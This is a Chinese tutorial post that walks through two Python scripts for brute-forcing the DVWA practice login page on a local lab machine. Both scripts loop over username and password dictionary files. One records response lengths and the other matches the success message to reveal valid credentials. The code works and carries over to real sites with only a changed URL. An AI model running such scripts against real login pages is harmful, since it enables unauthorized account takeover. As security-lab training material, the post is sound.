前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一个简单的Python暴力破解网站登录密码脚本

一个简单的Python暴力破解网站登录密码脚本

原创
作者头像
陈晨135
发布2022-01-13 14:53:09
3.9K0
发布2022-01-13 14:53:09
举报
文章被收录于专栏:Python小课堂Python小课堂

测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级

关键代码解释

url指定url地址

代码语言:javascript
复制
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"

header设置请求头

代码语言:javascript
复制
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'
}

payload设置请求参数

代码语言:javascript
复制
payload = {'username':username,'password':password,"Login":'Login'}

这一行的作用是作一次get请求,响应信息被变量Response接收

代码语言:javascript
复制
 Response = requests.get(url,params=payload,headers=header)

这两行代码循环遍历账号和密码字典文件,之后给他们做笛卡尔积循环暴力破解

这种方式和burp的Intruder模块的Cluster bomb攻击方式一样

代码语言:javascript
复制
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
	for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):

然后把循环结果存放到csv文件里,用逗号分割数据

Response.status_code是响应的http状态码,len(Response.content)是http响应报文的长度

代码语言:javascript
复制
result = str(Response.status_code) + ',' + username + ','\
  + password + ',' + str(len(Response.content))
f.write(result + '\n')

完整代码

方法一

登陆成功的和失败返回数据不同,所以数据包长度也不同。包长度与其他不同的数据,可能就是正确的账号密码。

代码语言:javascript
复制
import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.csv','w')
f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + '\n')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
	for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
		username = admin.strip()
		password = line.strip()
		payload = {'username':username,'password':password,"Login":'Login'}
		Response = requests.get(url,params=payload,headers=header)
		result = str(Response.status_code) + ',' + username + ','\
            + password + ',' + str(len(Response.content))
		f.write(result + '\n')
		
		print('\n完成')
运行结果

运行

图片
图片

这就是脚本发送的数据包

图片
图片

查看结果

图片
图片

查看包长度与其他不同的数据,登录测试

图片
图片

方法二

这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码,然后把正确的账号密码输出到屏幕和txt文件里

主要改动在第17到20行

代码语言:javascript
复制
import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
	for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
		username = admin.strip()
		password = line.strip()
		payload = {'username':username,'password':password,"Login":'Login'}
		Response = requests.get(url,params=payload,headers=header)
		if not(Response.text.find('Welcome to the password protected area')==-1):
			result = username + ':' + password
			print(result)
			f.write(result + '\n')
			
			print('\n完成')
运行结果
图片
图片
图片
图片

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 关键代码解释
  • 完整代码
    • 方法一
      • 运行结果
    • 方法二
      • 运行结果
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档